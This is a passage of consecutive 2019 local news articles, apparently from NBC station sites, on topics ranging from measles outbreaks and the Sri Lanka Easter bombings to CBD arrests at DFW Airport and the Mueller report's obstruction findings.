reporting. To read the lawsuit, click here. On Monday, RCFPs attorneys asked the court to order the border agencies to immediately process the requested records and to prohibit them from withholding any records not exempt under FOIA. None of the agencies have responded yet to the lawsuit. The Reporters Committee believes it is vital for the public to know more about the government's treatment of reporters covering issues at the U.S./Mexico border, Townsend said. We are proud to be working with NBC 7 in this lawsuit to pry that additional information from the government. Meanwhile, the CBP Office of Professional Responsibility and the Office of Inspector General in the Department of Homeland Security have launched separate investigations into the surveillance program. No date was given on when those reviews are expected to be completed. There have been 38 cases of measles in California this year. Of those, 14 cases were international travelers and 22 were due to spread from travelers to people in California. That's why the California Department of Public Health is urging anyone traveling internationally to be fully vaccinated against measles. The countries linked to this year's cases in California include India, Cambodia, Thailand, Philippines, Vietnam and the Ukraine. "Vaccination is the only way to ensure you and your family members will not get measles," California Public Health Officer and CDPH Director Dr. Karen Smith said. "Many countries are currently experiencing widespread measles activity. Make sure you and your family are fully vaccinated before travelling internationally, and contact your health care provider immediately if anyone develops a rash and a fever while you are abroad, or when you return." About 95 percent of children entering kindergarten in California have been properly vaccinated, helping to stop the spread of measles in the state. "However, as evidenced by the outbreaks to date, the remaining unvaccinated and under vaccinated Californians are at risk," said Smith. "Vaccination is the best way to stop the spread of this highly contagious and serious virus." The state health department issued the following recommendations for anyone returning from an international trip. Call your health care provider for advice. Avoid contact with other people if measles symptoms develop. Measles begins with a fever that lasts several days, followed by a cough, runny nose, conjunctivitis (red eye) and a rash that typically appears on the face and hairline before the rest of the body. Infected people are usually contagious for about four days before the rash and four days after it goes away. In Los Angeles County, free vaccines are available for uninsured and under-insured individuals are on offer at the county's 14 public health clinics. California's last large measles outbreak was associated with Disneyland in Anaheim, according to the California Department of Public Health. From December 2014 to April 2015, at least 131 Californians were infected. At this time last year, there were 11 measles cases in California. Nationwide, measles has climbed to its highest level in 25 years, closing in on 700 cases this year in a resurgence largely attributed to misinformation that is turning parents against vaccines. The Centers for Disease Control and Prevention said 695 cases had been reported in 22 states this year as of Wednesday afternoon. That was up from 626 reported Monday and makes this the nation's worst year for measles since 1994, with eight months still to go in 2019. There were 963 cases in 1994. Roughly three-quarters of this year's illnesses in the U.S. have been in New York state, mainly in two ultra-Orthodox Jewish communities in Brooklyn and suburban Rockland County. Most of those cases have been in unvaccinated people. The number of cases is likely to go even higher. Measles is highly contagious and can spread through the air when someone coughs or sneezes. And in recent days, Jewish families have been gathering for Passover meals. It can take 10 to 12 days for symptoms to develop. The CDC recommends the vaccine for everyone over a year old, except for people who had the disease as children. Those who have had measles are immune. The vaccine, which became available in the 1960s, is considered safe and highly effective, and because of it, measles was declared all but eliminated in the U.S. in 2000. But it has made comebacks since then, including 667 cases in 2014. Public health experts say some U.S. communities have low vaccination rates because of the spread of bad information -- especially the now-debunked notion that the measles-mumps-rubella vaccine is linked to autism -- through social media, pamphlets, hotlines and other means. According to the CDC, for every 1,000 children who get measles, one or two will die from it. No deaths have been recorded this year. A gondola between Union Station and Dodger Stadium continues to take shape, as the Metro Board of Directors agreed Thursday to move forward with the environmental review process. The unanimous vote by the board approved a staff report where Metro would agree to be the lead agency for the project's California Environmental Quality Act review. According to the staff report, cities and counties are the CEQA lead agencies for private real estate developments, but this is the first time Metro is proposing to be a CEQA lead agency for a private transit developer. As lead agency, the Metro board would determine whether to approve the project, which will be funded completely by Aerial Rapid Transit Technologies, the report says, adding that no Metro funds will be used in the design, construction or operation of the project and that ARTT will pay for Metro staff's time. "In another major milestone, Metro's Board of Directors has endorsed moving the environmental review process forward for Aerial Rapid Transit Technologies' gondola system that will fly thousands of fans from Union Station to Dodger Stadium," said Martha Welborne, a project manager for ARTT. "We look forward to continuing to advance this innovative and sustainable -- privately-funded -- transportation project and appreciate the continued support of the Los Angeles Dodgers for this exciting opportunity to expand transportation options for Dodger fans." Aerial Rapid Transit Technologies -- a company founded by Drew McCourt, son of former Dodgers owner Frank McCourt -- wants to built the privately funded aerial gondola. McCourt sold the team in 2011, but still owns half-interest in the 130 acres of parking around the stadium. McCourt's investment firm would fund a portion of the project's estimated $125 million costs. A gondola and other options for improving access to Dodger Stadium was part of an informational study in 1990 by the Los Angeles County Transportation Commission, a precursor agency to Metro, but the idea was never pursued beyond the study, Metro said last year. What to Know Mourners pay their final respects to Marine Corps Staff Sgt. Christopher Slutman The 43-year-old father of three young daughters died on April 8 near Bagram Airfield U.S military base A 15-year FDNY veteran, Slutman was with Ladder 27 in the Bronx; he got a medal for bravery after rescuing a woman from a burning apartment Mourners from across the country are paying their final respects to a U.S. Marine and decorated FDNY firefighter killed in a bombing in Afghanistan earlier this month. The flag-draped casket of Marine Corps Staff Sgt. Christopher Slutman left a Bronx funeral home atop a fire engine caisson Friday morning for St. Thomas Church on Fifth Avenue. Fellow firefighters and mourners lined Fifth Avenue under a gray and rainy sky to pay their final respects to Slutman during a solemn procession. The 43-year-old father of three young daughters died on April 8 near Bagram Airfield U.S military base. Two other members of Slutman's Massachusetts-based Marine Reserve unit also were killed. A 15-year FDNY veteran, Slutman was with Ladder 27 in the Bronx. He got a medal for bravery after rescuing a woman from a burning apartment. A native of Newark, Delaware, Slutman also had been a firefighter in Maryland. During the solemn service, various speakers addressed the mourners to honor Slutman, including Marine Sgt. Major Chris Armstrong who described Slutman as a "leader, who was respected and admired." "When I received the terrible news, my heart broke as I thought of Chris' family and unit," Armstrong said, while fighting back tears, urging those in attendance to keep his memory alive, calling him a "hero." After sharing anecdotes involving the humerous side of Slutman, FDNY member Chris Williamson, who previously served as Slutman's captain in Ladder 17 for four years, said members of the department were heartbroken upon hearing the tragic news. "Today our city mourns a hero," Mayor Bill de Blasio said, adding Slutman represented "the best in us." De Blasio told those in attendance, that all though he was "taken too soon," Slutman's "fearless spirit reached so far, touched so many. Made this world inmeasurably better." Slutman's best friend for over 30 years described as "embodied everything great about this great nation." Slutman, who worked with Ladders 27 and 17 in the Bronx, is survived by his wife and three young daughters. A second New Yorker, 25 year-old Robert Hendriks of Locust Valley also died in the attack. He was laid to rest in Caveltorn, Long Island, earlier this week. Benjamin Hines, 31, of York, Pennsylvania, was the third victim, the Department of Defense said. Catholic leaders canceled Sunday Masses indefinitely across Sri Lanka and officials urged Muslims to stay home for Friday prayers in an extraordinary call by the clergy to curtail worship as fear of more attacks plagued the island nation after the deadly suicide bombings on Easter. Shops were closed, streets were empty and heavy security patrols continued across the country despite police saying the alleged mastermind of the attacks that killed over 250 people had died in one of the suicide blasts. Those Sri Lankans who did venture out spoke about the fear encompassing daily life at a level unseen since a long civil war ended a decade ago. Many are angry that the government, paralyzed by internal disputes, hadn't acted on intelligence obtained weeks before Easter that warned of the attacks. On Friday night, Sri Lanka's military said its soldiers in the eastern part of the country engaged in a gunbattle with suspects believed to be linked to the attacks, and police announced a 24-hour curfew until further notice in the Muslim-dominated area where the shooting took place. Continuing government confusion in its investigation from drastically lowering the death toll to misidentifying a Brown University student as a militant only added to the public's worries. "Everyone is nervous," said Abdullah Mohammed, a 48-year-old Muslim in Colombo. "Not just the Muslims. Buddhists, Christians, Hindus everybody's nervous." Officials from the police to the prime minister say militants remain on the loose and have access to explosives. That has led to increased security at shrines, churches, temples and mosques across the multiethnic country of 21 million off the southern coast of India. Cardinal Malcolm Ranjith told journalists that church officials had seen a leaked security document describing Roman Catholic churches and other denominations as a major target. Ranjith, who is the archbishop of Colombo, asked the faithful across Sri Lanka to stay home for their own safety. "We don't want repetitions," Ranjith said. It was an extraordinary request for a Catholic clergyman to make, as churches often remain a refuge. It came on the day that priests allowed journalists inside one of the bombed churches, St. Anthony's Shrine in Colombo, where broken glass littered a blood-stained floor. Giovanni Maria Vian, a church historian and emeritus editor of the Vatican newspaper, said he believed it was the first time the church had cancelled Masses across a country for security reasons. The U.S. Embassy in Sri Lanka also warned the public to stay away from places of worship over the weekend, a stark alert underlining that authorities believe that attackers remain at large. Authorities told Muslims to worship at home rather than attend communal Friday prayers that are the most important religious service of the week, but several mosques held services anyway. At a mosque in Colombo, police armed with Kalashnikov assault rifles stood guard outside for hundreds of worshippers as the imam inside and others wept while praying to Allah to help their country. The Easter attackers are "not Muslims. This is not Islam. This is an animal," said Akurana Muhandramlage Jamaldeen Mohamed Jayfer, the chairman of the mosque. "We don't have a word (strong enough) to curse them." Sri Lanka's government, crippled from a long political crisis between the president and prime minister last year, promised swift action to capture militants still at large. President Maithripala Sirisena said about 140 people had been identified as having links to the Islamic State group. A "major search operation has been undertaken," Sirisena said. "Every household in the country will be checked." On Friday night, soldiers raiding a house in Sri Lanka's Eastern Province fought a gunbattle with suspected militants linked to the bombings, said military spokesman Brig. Sumith Atapattu. After a couple of hours, he said soldiers were "engaged in a clearing operation," adding that some casualties were possible. In the same area, police spokesman Ruwan Gunasekara said officers acting on information from intelligence officials found 150 sticks of blasting gelatin and 100,000 small metal balls, as well as a van and clothing suspected to be used by those involved in the Easter attack. Suicide bomb vests often are packed with such balls to increase the shrapnel in the explosion, making them even deadlier. Earlier Friday, police confirmed the militant group's leader, Mohamed Zahran, died in the suicide bombing at the Shangri-La Hotel, one of six hotels and churches attacked. Zahran appeared in an Islamic State video claiming responsibility for the coordinated assault, and authorities in both Sri Lanka and Australia confirmed links between IS and the attack. Police said investigators had determined that the assailants' military training was provided by someone they called "Army Mohideen," and that weapons training had taken place overseas and at locations in Sri Lanka's Eastern Province. Police said they arrested the operator of a copper factory who had helped Mohideen make improvised explosive devices and purchase empty cartridges sold by the Sri Lankan military as scrap copper. On Thursday night, Sri Lanka's health ministry drastically reduced its estimated death toll from the bombings. A statement said "approximately" 253 people had been killed, nearly one-third lower than an earlier police estimate of 359 dead. The discrepancy was not immediately explained, but it fit a pattern of confused reports by Sri Lankan officials that have muddled the investigation. On Friday, police apologized to a Brown University student and a human rights activist after they posted her picture to Twitter and erroneously identified her as a wanted militant. The police then deleted their Twitter account. Associated Press writers Krishan Francis and Rod McGuirk contributed. What to Know Court Judge Shelley M. Richmond Joseph and Trial Court Officer Wesley MacGregor charged with obstruction of justice. Joseph and MacGregor accused of helping an undocumented immigrant evade detention by Immigration and Customs Enforcement. AG Maura Healey called the federal indictment "a radical and politically-motivated attack on our state and the independence of our courts." A Massachusetts judge and trial court officer were indicted Thursday on obstruction of justice charges for allegedly helping a man living in the U.S. illegally to evade a waiting immigration enforcement agent by sneaking out a back door. The indictment, released Thursday, charges Newton District Court Judge Shelley M. Richmond Joseph and former Trial Court Officer Wesley MacGregor with obstruction of justice. MacGregor was also charged with perjury. The indictment says Joseph and MacGregor helped an undocumented immigrant appearing in their courtroom from evading detention by Immigration and Customs Enforcement. Both Joseph and MacGregor pleaded not guilty to charges at their appearance in Boston federal court. According to court documents, the charges stem from a case in March 30, 2018, where Newton police charged undocument immigrant Jose Medina Perez with drug possession and being a fugitive from justice from Pennsylvania. Perez was arraigned on April 2 and allowed by MacGregor to leave out a back door after the hearing, evading an ICE officer who was waiting at court to take him into custody. Perez was caught by immigration officials about a month after the hearing and is now in immigration proceedings. "From certain corners I have heard the occasional gasp of dismay or outrage at the notion of holding a judge accountable for violating federal law," Massachusetts U.S. Attorney Andrew Lelling told reporters. "But if the law is not applied equally it cannot credibly be applied to anyone." Joseph, 51, has been a Massachusetts District Court judge since 2017. MacGregor, 56, had worked as a Massachusetts Trial Court Officer since 1993. The Massachusetts Supreme Judicial Court suspended Joseph without pay on Thursday after news of the indictment was made public. "Abuses of power hurt us all," said Peter Fitzhugh, special agent in charge of U.S. Immigration and Customs Enforcement Homeland Security Investigations in Boston. "It undermines the core mission of government to serve the people. It has no place in a just and accountable society." After federal authorities opened an investigation into the matter, Gov. Charlie Baker said in December that he wanted Joseph suspended until the case was resolved. Lizzy Guyton, Baker's communications director, said in a statement Thursday the governor "believes no one should obstruct federal law enforcement officials trying to do their jobs and supports the Supreme Judicial Court's decision to suspend Judge Joseph without pay. The Baker-Polito Administration has filed legislation to allow court officials as well as law-enforcement to work with federal immigration officials to detain dangerous individuals." Massachusetts Attorney General Maura Healey blasted the indictment, calling it a "radical and politically-motivated attack on our state and the independence of our courts." She said it is a "bedrock principle" of the constitutional system that "federal prosecutors should not recklessly interfere with the operation of state courts and their administration of justice." Healey said the matter could have been handled by the Commission on Judicial Conduct and the Trial Court. Good morning, South Florida! Friday will be breezy but hot and humid with highs in the low 90s and feels-like temperatures at 100 degrees or more. There is a possibility of an isolated late afternoon or evening storm, which brings cooler weather and less humidity for a dry weekend. For more information, check out Today's Forecast. Here are the latest headlines: 1. Tow Truck Driver Shot, Drives Himself to Miami Hospital A tow truck driver drove himself to the hospital after being shot in Miami on Friday by suspects who left in the vehicle he repossessed. The tow truck driver is being treated at North Shore Medical Center Miami. Officials said he is expected to recover. The shooting occurred at a parking lot located at Northwest 147th Street and 11th Avenue, according to police. For more information, click here. 2. Former Youth Pastor Accused of Sexually Battering Minor Luis Clarke, a former youth pastor at Abraza tu Sueno Church in Pembroke Pines, is facing charges of sexually battering a minor. Officials are concerned the suspect may have targeted other victims and urge anyone with information to inform police. For more information, click here. 3. Pair Robbed Man With Autism in Fort Lauderdale The Fort Lauderdale Police Department are looking for two men who attacked and robbed a man with autism. The suspects attacked the man on near Beach Place on the beach side of A1A. The punched the victim in the face multiple times and took his cell phone. Anyone with information should call police. 4. As Sri Lanka Mourns, ISIS Claims Easter Bombings The suspected leader of the militant group Sri Lankan accused in the Easter Sunday bombings died in one of the explosions, officials said. The Islamic State group claimed responsibility and released images that purported to show the attackers, while the country's prime minister warned that several suspects armed with explosives are still at large. More than 250 people died in the attack. For more information, click here. 5. Trump Prepares to Address NRA President Donald Trump and Vice President Mike Pence will be at the National Rifle Association convention in Indiana on Friday. Trump is scheduled to give a keynote speech this afternoon amid anticipated protests throughout Indianapolis. For more information, click here. 6. National Pretzel Day! It's National Pretzel Day so be sure to celebrate! You can try making some yourself or grab a buy one, get one free pretzel deal from Auntie Anne's. Snyders of Hanover and World of Beer are also participating with special offers! A South Florida man has surrendered to authorities in connection with the February shooting of a another man during a dispute over a dog not being on a leash, officials said. Ian Edward Stefan, 26, surrendered Thursday and is facing a murder charge in the Feb. 5 shooting of 68-year-old Slobodan Jakovljevic in West Palm Beach, WPTV reported. Police said Jakovljevic was unarmed at the time of the shooting, but Stefan claimed self-defense. Stefan was being held without bond Friday, jail records showed. Attorney information wasn't available. When a robot "dies," does it make you sad? For lots of people, the answer is "yes" and that tells us something important, and potentially worrisome, about our emotional responses to the social machines that are starting to move into our lives. For Christal White, a 42-year-old marketing and customer service director in Bedford, Texas, that moment came several months ago with the cute, friendly Jibo robot perched in her home office. After more than two years in her house, the foot-tall humanoid and its inviting, round screen "face" had started to grate on her. Sure, it danced and played fun word games with her kids, but it also sometimes interrupted her during conference calls. White and her husband Peter had already started talking about moving Jibo into the empty guest bedroom upstairs. Then they heard about the "death sentence" Jibo's maker had levied on the product as its business collapsed. News arrived via Jibo itself, which said its servers would be shutting down, effectively lobotomizing it. "My heart broke," she said. "It was like an annoying dog that you don't really like because it's your husband's dog. But then you realize you actually loved it all along." The Whites are far from the first to experience this feeling. People took to social media this year to say teary goodbyes to the Mars Opportunity rover when NASA lost contact with the 15-year-old robot. A few years ago, scads of concerned commenters weighed in on a demonstration video from robotics company Boston Dynamics in which employees kicked a dog-like robot to prove its stability. Smart robots like Jibo obviously aren't alive, but that doesn't stop us from acting as though they are. Research has shown that people have a tendency to project human traits onto robots, especially when they move or act in even vaguely human-like ways. Designers acknowledge that such traits can be powerful tools for both connection and manipulation. That could be an especially acute issue as robots move into our homes particularly if, like so many other home devices, they also turn into conduits for data collected on their owners. "When we interact with another human, dog, or machine, how we treat it is influenced by what kind of mind we think it has," said Jonathan Gratch, a professor at University of Southern California who studies virtual human interactions. "When you feel something has emotion, it now merits protection from harm." The way robots are designed can influence the tendency people have to project narratives and feelings onto mechanical objects, said Julie Carpenter, a researcher who studies people's interaction with new technologies. Especially if a robot has something resembling a face, its body resembles those of humans or animals, or just seems self-directed, like a Roomba robot vacuum. "Even if you know a robot has very little autonomy, when something moves in your space and it seems to have a sense of purpose, we associate that with something having an inner awareness or goals," she said. Such design decisions are also practical, she said. Our homes are built for humans and pets, so robots that look and move like humans or pets will fit in more easily. Some researchers, however, worry that designers are underestimating the dangers associated with attachment to increasingly life-like robots. Longtime AI researcher and MIT professor Sherry Turkle, for instance, is concerned that design cues can trick us into thinking some robots are expressing emotion back toward us. Some AI systems already present as socially and emotionally aware, but those reactions are often scripted, making the machine seem "smarter" than it actually is. "The performance of empathy is not empathy," she said. "Simulated thinking might be thinking, but simulated feeling is never feeling. Simulated love is never love." Designers at robotic startups insist that humanizing elements are critical as robot use expands. "There is a need to appease the public, to show that you are not disruptive to the public culture," said Gadi Amit, president of NewDealDesign in San Francisco. His agency recently worked on designing a new delivery robot for Postmates a four-wheeled, bucket-shaped object with a cute, if abstract, face; rounded edges; and lights that indicate which way it's going to turn. It'll take time for humans and robots to establish a common language as they move throughout the world together, Amit said. But he expects it to happen in the next few decades. But what about robots that work with kids? In 2016, Dallas-based startup RoboKind introduced a robot called Milo designed specifically to help teach social behaviors to kids who have autism. The mechanism, which resembles a young boy, is now in about 400 schools and has worked with thousands of kids. It's meant to connect emotionally with kids at a certain level, but RoboKind co-founder Richard Margolin says the company is sensitive to the concern that kids could get too attached to the robot, which features human-like speech and facial expressions. So RoboKind suggests limits in its curriculum, both to keep Milo interesting and to make sure kids are able to transfer those skills to real life. Kids are only recommended to meet with Milo three to five times a week for 30 minutes each time. Anyone who's ever tried to run a restaurant can tell you it's not an easy thing. So when you look around a place and there's not an empty table in sight, you know you're really cookin'. Such is life at the Starfish Cafe in Lewisville, Texas. "It's the happiest place to come have lunch," said Mary Beth Buck, a regular at the Starfish Cafe and the mother of one of its servers. What sets the restaurant apart -- besides its food -- is the staff that keeps the place moving. All servers, hosts, bussers and cooks are young adults with intellectual disabilities. "It's good," said Carla, a server at the cafe. "It's kind of fun." Starfish Cafe is part of Lewisville ISD's "Focus on the Future" program, which helps students with intellectual disabilities transition from high school into their adult lives. They have their hands in every part of the restaurant -- buying the groceries, planning the menu, setting up the room, interacting with customers, cleaning -- picking up skills that can help them land paying jobs in the real world. "There is a place for them," said Karrie Barnes, the lead teacher for Focus on the Future. "And they can offer a lot." Buck's son Eiler is proof of that. When he's not busy serving customers at Starfish Cafe, he's earning a living at Firehouse Subs. "He's just proud," Buck said. "He loves going to work," said Alex Buck, Eiler's father. "He loves interacting with other people. And he is extremely excited about taking those skills to where he can learn to live independently from us." Eiler is just one of many success stories to come from Starfish Cafe in the five years it's been open. And he won't be the last. "It shows that inclusion works," Barnes said. "You start seeing their skills, you see their personalities coming out and you see what they can contribute." The Starfish Cafe is open every other Friday during the school year from 11:30 a.m. CT to 1 p.m.CT. The final dates for the current school year are April 26 and May 10. The restaurant is located inside the Purnell Support Center at 136 W. Purnell St. in Lewisville. Walk-ins are welcome, though they prefer customers make reservations in advance to help them with their planning. Reservations can be made by emailing starfishcreations@lisd.net. They ask that each person who comes to eat at the restaurant make a $7.50 donation, which helps fund their program. What to Know Traveling with CBD oil or hemp-based derivatives could you get arrested at the airport. While CBD does not contain enough THC to give anyone a high, it can be enough to test positive. With CBD laws differing state-to-state, including in Texas, travelers face a confusing patchwork of enforcement. As Texas legislators work towards possibly making CBD legal in the state, confiscation of the oil by federal officers has "skyrocketed" this year at DFW Airport, NBC 5 Investigates has learned. In some cases, passengers have been jailed on felony drug possession charges for a single bottle of CBD. "I would say a year ago it was almost non-existent," said Cleatus Hunt Jr., port director at the airport for the U.S. Customs and Border Protection. "But in the last six months, the interception rate for that (CBD) has skyrocketed," Hunt said in an interview. Shops that sell CBD, which can contain small amounts of THC, have popped up throughout North Texas, and across the state. And just this week, members of the Texas House voted in support of making the oil legal -- a move that has already taken place in some other states -- paving the way for consideration in the Senate. CBD contraband seized at Dallas/Fort Worth International Airport. But at North Texas' busiest airport, the fourth largest in the country, customs officers will detain international travelers, and seize their CBD, if they feel it contains THC -- the ingredient in marijuana that produces a high. It happened just recently, with NBC 5 Investigates there, capturing it on camera. A drug-sniffing dog showed interest in a traveler's backpack, prompting a search by a customs officer who found an e-cigarette cartridge. The traveler said he bought the e-cigarette at a CBD shop in Dallas. An on-the-spot test for THC came back positive. TSA workers test for marijuana and hashish at Dallas/Fort Worth International Airport. CBD oil, which has become a health craze in Texas and throughout the country, is made from hemp -- the cannabis cousin to marijuana -- and can contain trace amounts of THC. CBD users say the oil has a multitude of health benefits, from soothing aches and pains to relieving anxiety, but that there is not enough, if any, THC to make them high. That doesn't matter, said Hunt, adding that any THC found at the airport can result in a DFW police bust. "So one single incident, one single small amount of CBD oil that you thought was cool to take on a trip with you, could result in life-changing affects for you," the customs port director said. NBC 5 Investigates obtained police reports at the airport detailing some of the cases in which travelers were caught with CBD, including a 71-year-old woman who was jailed on a felony charge after telling authorities the vial in her bag was "CBD oil which she used as medicinal pain relief." Another case involved a 22-year-old college student from Collin County who was caught after officers "conducting a random bag check ... discovered a brown bottle labeled "hemp CBD." But the lead lawyer for the U.S. Hemp Roundtable, which supports the legalization and growth of the CBD and hemp industries, said no one should be detained for possessing the oil. Attorney Jonathan Miller, who also represents one of the travelers arrested at DFW Airport, said the federal farm bill signed into law last year makes it legal for people to transport CBD products made from hemp. "Federal law is very clear. And when a Customs official pulls someone over for this, he or she is acting in the wrong," Miller said. He said of customs officers: "I am hopeful they can use their resources and their time on things that actually hurt people." A spokesperson for Customs and Border Protection had a different opinion on the law, however, saying, "CBD oil is considered a controlled substance under U.S. Federal law." "Travelers found in possession of controlled substances at U.S. ports of entry can face arrest, seizures, fines, penalties or denied entry," the spokesperson said. In Texas, state law on CBD is murky, with the legislature currently debating a bill that would clear up the confusion and legalize CBD. In the meantime, some state law enforcement agencies have said they will arrest and prosecute people found in possession of CBD. CBD oil is a step closer to being legalized in Texas after legislators in the House voted on Tuesday to allow people to buy it without fear of being arrested. The bill cleared the House with no one opposing it, paving the way for a final vote before it moves to the Senate, where it may meet some resistance, including possibly from Lt. Gov. Dan Patrick. But with different laws in each state, travelers face a confusing patchwork of enforcement that could land them in jail, depending on where they are in the country. At airports, the Transportation Security Administration tells NBC 5 Investigates it will also notify airport police if TSA screeners find CBD oil during routine checks of passenger bags. For those reasons, federal authorities are urging international travelers to leave the CBD at home, not in the suitcase. And for anyone still thinking about taking CBD to DFW Airport, Hunt suggested, "... don't do it. It simply isn't worth it." What to Know An innocent 18-year-old woman was shot and killed in Yonkers Thursday, police said The girl was shot in the head near Morningside and Lake Avenues around 6:30 p.m., Yonkers police said Police said there was a dispute happening in the area at the time of the shooting, but didn't immediately provide additional details An innocent 18-year-old woman who was shot in the head in Yonkers Thursday evening has died, police and law enforcement sources said. The woman was shot in the head near Morningside and Lake avenues around 6:30 p.m., Yonkers police said. Police said there was a dispute happening in the area at the time of the shooting, but didn't immediately provide additional details. Sources said the argument escalated and somebody fired a shot, hitting the woman and killing her. It isn't believed the woman had any role in the dispute. The woman's name wasn't immediately released. No one has been arrested in connection with the shooting, but sources say two people of interest are in custody and being questioned. It wasn't immediately clear whether they will face charges. An investigation is ongoing. What to Know The man in a bunny suit who hopped to the defense of a woman outside a Florida bar Sunday night has been identified as Antoine McDonald Antoine McDonald, who told multiple media outlets after the bunny brawl went viral that he was not a violent person, has a criminal past Among other charges, he's wanted out of New Jersey in connection with a September 2018 vehicle burglary and has multiple other arrests The Easter Bunny who hopped to the defense of a woman during a caught-on-camera brawl outside a Florida bar over the weekend is a 20-year-old man with a violent past who has an outstanding warrant out of New Jersey, officials say. Footage of Antoine McDonald as a costumed vigilante jumping in to help a woman outside Orlando's Underground Public House Sunday night went viral when it was posted to Instagram. He is seen pummeling the man with his paws before an Orlando cop on patrol intervenes and breaks up the fight. It was not clear why the man and woman were fighting, but in the video someone is heard saying he spit on me." No one was arrested in the case. The bar's night manager told NBC police shook the bunny's hand and let him go. If only they had known who he was. McDonald was most recently arrested in Pasco County, Florida, in January for alleged identity theft when officials say he tried to rent a Uhaul using a fake ID. He was a person of interest in a carjacking and two armed robberies in the Sunshine State, and has a "non-extraditable failure to appear warrant out of New Jersey," a spokesperson for the Pasco County Sheriff's office said. Police in South Brunswick, New Jersey, said Tuesday they were aware of the bunny brawl video and said a warrant had been issued for McDonald in October 2018 in connection with some car burglaries. He never appeared in court and his warrant remains active, police said. The Tampa Bay Times reports authorities believed McDonald had fled the states after the warrant was issued, possibly to Florida under a fake name. Earlier that year, he was arrested for allegedly harassing a man on social media and spitting at a 7-Eleven employee in South Brunswick as well. McDonald also had been arrested with two others in two armed robberies within 12 hours in Delaware in 2017, according to the Tampa Bay Times. His whereabouts weren't immediately clear as of late Tuesday. After the bunny brawl video surfaced on social media, he told several media outlets he was not a violent person. Special counsel Robert Mueller's investigation of Russian interference in the 2016 election identified 10 instances of possible obstruction of justice by President Donald Trump. Mueller said in his report that he could not conclusively determine that Trump had committed a crime or that he hadn't. A look at the 10 instances: PRESSURE ON COMEY TO END PROBE OF MICHAEL FLYNN This includes the president's statement to then-FBI Director James Comey regarding the investigation of then-national security adviser Michael Flynn. Trump told Comey: "I hope you can see your way to letting this go." PRESIDENT'S REACTION TO THE CONTINUING RUSSIA INVESTIGATION Among the evidence is the president telling then-White House counsel Don McGahn to stop Attorney General Jeff Sessions from recusing himself from the Russia investigation and Trump's subsequent anger at Sessions. Trump also contacted Comey and other intelligence agency leaders to ask them to push back publicly on the suggestion that Trump had any connection to the Russian election-interference effort. FIRING OF COMEY AND AFTERMATH Mueller's report says "substantial evidence" indicates Trump's decision to fire Comey in May 2017 was the result of the FBI director's unwillingness to say publicly that Trump was not personally under investigation. On the day after Trump fired Comey, the president told Russian officials that he had "faced great pressure because of Russia. That's taken off." APPOINTMENT OF SPECIAL COUNSEL AND EFFORTS TO REMOVE HIM Trump reacted to news of Mueller's appointment by telling advisers that it was "the end of his presidency." The president told aides that Mueller had conflicts of interest and should have to step aside. His aides told Trump the asserted conflicts were meritless. Following media reports that Mueller's team was investigating whether the president had obstructed justice, Trump called then-White House counsel Don McGahn at home and directed him to have Mueller removed. McGahn refused. FURTHER EFFORTS TO CURTAIL THE SPECIAL COUNSEL's INVESTIGATION Trump instructed former campaign manager Corey Lewandowski to have Sessions publicly announce that, notwithstanding his recusal from the Russia investigation, the investigation was "very unfair" to the president, the president had done nothing wrong, and Sessions planned to meet with Mueller to limit him to "investigating election meddling for future elections." EFFORTS TO PREVENT PUBLIC DISCLOSURE OF EVIDENCE In summer of 2017, Trump learned that the news media planned to report on the June 2016 meeting at Trump Tower between senior campaign officials and Russians offering derogatory information about Hillary Clinton. The president directed aides not to publicly disclose the emails setting up the meeting. Before the emails became public, the president also edited a press statement for Donald Trump Jr. by deleting a line that acknowledged that the meeting was "with an individual who (Trump Jr.) was told might have information helpful to the campaign." ADDITIONAL EFFORTS TO HAVE SESSIONS TAKE CONTROL OF INVESTIGATION At several points in between July 2017 and December 2017, Trump tried to get Sessions to declare that he was no longer recused from the Russia investigation and would assert control over it. The report says there's evidence that one purpose of asking Sessions to step in was so that the attorney general would restrict the investigation's scope. TRUMP ORDERS WHITE HOUSE COUNSEL TO DENY THAT PRESIDENT TRIED TO FIRE MUELLER In an Oval Office meeting in February 2018, Trump told McGahn to "correct" a New York Times story that reported Trump had earlier instructed McGahn to fire Mueller. Trump also asked why McGahn had told Mueller's investigators about the directive to remove Mueller. McGahn told Trump he had to tell the investigators the truth. TRUMP'S ACTIONS TOWARD, FLYNN, MANAFORT AND OTHER POSSIBLE WITNESSES Mueller looked at whether Trump's sympathetic messages to Flynn, former campaign manager Paul Manafort and others were intended to limit their cooperation with Mueller's investigation. When Flynn began cooperating with prosecutors, Trump passed word through his lawyer that he still had warm feeling for Flynn and asked for a "heads up" if Flynn knew of information implicating Trump. Trump praised Manafort during and after his criminal convictions, and refused to rule out a pardon for his former campaign chairman. TRUMP ACTIONS TOWARD MICHAEL COHEN Mueller noted that Trump's conduct toward Cohen, a former Trump Organization executive, changed from praise to castigation after Cohen began cooperating with prosecutors. The evidence could "support an inference that the president used inducements in the form of positive messages in an effort to get Cohen not to cooperate, and then turned to attacks and intimidation to deter" cooperation and undermine Cohen's credibility, Mueller wrote. A jury was unable to reach a verdict in the trial of a Delaware man who admitted he broke a thumb off a $4.5 million statue at a Philadelphia museum. Michael Rohana was attending a Christmas-themed ugly sweater party at the Franklin Institute in December 2017 when he entered a closed exhibit of ancient Chinese terra cotta warrior statues. Authorities said Rohana, 25, took photos while posing next to a statue known as "The Cavalryman," then removed the valuable relic's left thumb and made off with it. The incident was captured by surveillance cameras. The vandalism outraged Chinese officials. Though Rohana didn't deny he snapped off the digit and took it home, a jury deadlocked Tuesday on charges of theft and concealment of an object of cultural heritage, The Philadelphia Inquirer reported. Rohana's lawyers argued he wasn't charged under the right law. "These charges were made for art thieves think like 'Ocean's Eleven' or 'Mission: Impossible,'" federal public defender Catherine C. Henry said in closing arguments. Rohana "wasn't in ninja clothing sneaking around the museum. He was a drunk kid in a bright green ugly Christmas sweater." Rohana, a shoe salesman who lives with his parents, told jurors it was a dumb mistake. "I don't know why I broke it," he testified. "It didn't just happen, but there was never a thought of, 'I should break this.'" He added: "Every time I see this video now, I'm trying to figure out, 'What was going through your mind? What were you thinking?' I don't know how I could have been so stupid." A mistrial was declared. Federal prosecutors said they'll decide by May whether to retry the case. The thumb was returned to China. Franklin Institute officials told the jury it has not been reattached. The suicide of a Florida teenager who authorities say was obsessed with the Columbine shooting and may have planned to carry out her own attack will not end an investigation to determine if she had any accomplices, officials said as Denver schools reopened Thursday and preparations to mark the 20th anniversary of the tragedy resumed. The body of 18-year-old Sol Pais was discovered Wednesday in the mountains outside Denver with what appeared to be a self-inflicted gunshot wound after investigators got a tip from a driver who took her there, the FBI said. Dozens of schools that closed as a precaution during the daylong manhunt 